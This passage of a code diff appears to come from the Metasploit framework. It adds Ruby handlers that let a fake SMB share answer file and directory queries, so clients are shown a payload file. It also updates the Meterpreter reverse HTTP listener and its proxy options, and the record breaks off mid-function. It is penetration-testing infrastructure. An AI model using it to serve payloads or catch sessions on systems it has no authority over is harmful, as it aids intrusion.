search_path = smb_expand(normalized_path)
|
||||
|
||||
case loi
|
||||
when CONST::SMB_FIND_FILE_NAMES_INFO
|
||||
return smb_cmd_find_file_names_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_both_directory_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_full_directory_info(c, search_path)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,42 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
#@todo Check FID and no shortcut assuming the request always come for the valid FID
|
||||
module QueryFileInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_file_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
fid = params.v['FID']
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module QueryPathInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its path.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_path_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
file_name = normalize_path(params.v['FileName'])
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_standard(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_basic(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
|
||||
return smb_cmd_trans_query_path_info_network(c, file_name)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
require 'msf/core/exploit/smb/server/share/information_level/find'
|
||||
require 'msf/core/exploit/smb/server/share/information_level/query'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,246 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Find
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_both_directory_info(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
search = 1
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_both_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_names_info(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_names_info_res(c, { data: data })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_full_directory_info(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
|
||||
search = 0x100
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_full_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_both_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
|
||||
# information level.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_names_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = 1
|
||||
trans2_params.v['EndOfSearch'] = 1
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_full_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,213 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Query
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
smb = @state[c]
|
||||
|
||||
if fid == smb[:file_id].to_i
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: 0,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_basic(c, path)
|
||||
if path && path.ends_with?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_standard(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = 1 # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = 1 # File attributes => directory
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: attrib,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_network(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_network_res(c, {
|
||||
allocation_size: 1048576,
|
||||
end_of_file: file_contents.length,
|
||||
file_attributes: attrib
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_basic_res(c, opts = {})
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :number_links The number of hard links to the file.
|
||||
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
|
||||
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_standard_res(c, opts = {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
number_links = opts[:number_links] || 0
|
||||
delete_pending = opts[:delete_pending] || 0
|
||||
directory = opts[:directory] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['NumberOfLinks'] = number_links
|
||||
query_path_info.v['DeletePending'] = delete_pending
|
||||
query_path_info.v['Directory'] = directory
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @option opts [Fixnum] :file_attributes The file attributes.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_network_res(c, opts= {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -256,11 +256,11 @@ module ReverseHopHttp
|
|||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
|
|||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
@ -16,6 +18,7 @@ module ReverseHttp
|
|||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::ReverseHttp::UriChecksum
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
|
@ -53,22 +56,17 @@ module ReverseHttp
|
|||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
|
||||
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
if datastore['ReverseListenerBindAddress'].to_s == ""
|
||||
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
@ -76,14 +74,12 @@ module ReverseHttp
|
|||
bindaddr
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
||||
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
|
@ -92,13 +88,15 @@ module ReverseHttp
|
|||
# addresses.
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri
|
||||
if ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]"
|
||||
def payload_uri(req)
|
||||
